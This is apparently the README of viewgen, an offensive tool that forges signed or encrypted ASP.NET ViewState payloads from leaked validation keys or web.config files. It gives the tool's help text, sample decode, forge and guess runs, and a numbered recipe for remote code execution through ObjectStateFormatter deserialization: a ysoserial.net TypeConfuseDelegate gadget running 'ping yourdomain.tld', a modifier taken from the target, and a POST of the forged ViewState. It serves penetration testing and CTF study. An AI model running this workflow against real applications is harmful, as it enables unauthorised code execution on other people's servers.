viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files
Requirements: Python 3
pip3 install --user --upgrade -r requirements.txt or ./install.sh
Docker
docker build -t viewgen . or docker pull 0xacb/viewgen
$ viewgen -h usage: viewgen [-h] [--webconfig WEBCONFIG] [-m MODIFIER] [--viewstateuserkey VIEWSTATEUSERKEY] [-c COMMAND] [--decode] [--guess] [--check] [--vkey VKEY] [--valg VALG] [--dkey DKEY] [--dalg DALG] [-u] [-e] [-f FILE] [--version] [payload] viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files positional arguments: payload ViewState payload (base 64 encoded) options: -h, --help show this help message and exit --webconfig WEBCONFIG automatically load keys and algorithms from a web.config file -m MODIFIER, --modifier MODIFIER VIEWSTATEGENERATOR value --viewstateuserkey VIEWSTATEUSERKEY ViewStateUserKey CSRF value -c COMMAND, --command COMMAND command to execute --decode decode a ViewState payload --guess guess signature and encryption mode for a given payload --check check if modifier and keys are correct for a given payload --vkey VKEY validation key --valg VALG validation algorithm --dkey DKEY decryption key --dalg DALG decryption algorithm -u, --urlencode URL encode viewstates -e, --encrypted ViewState is encrypted -f FILE, --file FILE read ViewState payload from file --version show viewgen version $ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY=" [+] ViewState (('1628925133', (None, [3, (['enctype', 'multipart/form-data'], None)])), None) [+] Signature 7441f6eeb4fab5a5f30d6ba99908c08eb683b9e6 [+] Signature match $ viewgen --webconfig web.config --modifier CA0B0334 "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRk" r4zCP5CdSo5R9XmiEXvp1LHVzX1uICmY7oW2WD/gKS/Mt/s+NKXrMpScr4Gvrji7lFdHPOttFpi2x7YbmQjEjJ2NdBMuzeKFzIuno2DenYF8yVVKx5+LL7LYmI0CVcNQ+jH8VxvzVG58NQIJ/rSr6NqNMBahrVfAyVPgdL4Eke3Bq4XWk6BYW2Bht6ykSHF9szT8tG6KUKwf+T94hFUFNIXXkURptwQJEC/5AMkFXMU0VXDa $ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI=" [+] ViewState is not encrypted [+] Signature algorithm: SHA1 $ viewgen --guess "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY=" [!] ViewState is encrypted [+] Algorithm candidates: AES SHA1 DES/3DES SHA1Leaking the web.config file or validation keys from ASP.NET apps results in RCE via ObjectStateFormatter deserialization if ViewStates are used.
You can use the built-in command option (ysoserial.net based) to generate a payload:
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"However, you can also generate it manually:
1 - Generate a payload with ysoserial.net:
> ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "ping yourdomain.tld"2 - Grab a modifier (__VIEWSTATEGENERATOR value) from a given endpoint of the webapp
3 - Generate the signed/encrypted payload:
$ viewgen --webconfig web.config --modifier MODIFIER PAYLOAD4 - Send a POST request with the generated ViewState to the same endpoint
5 - Profit 🎉🎉
Thanks
- @orange_8361, the author of Why so Serials (HITCON CTF 2018)
- @infosec_au
- @smiegles
- BBAC
- All contributors
CTF Writeups
Blog Posts
Talks
- https://illuminopi.com/assets/files/BSidesIowa_RCEvil.net_20190420.pdf
- https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints
This project is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage caused by this tool.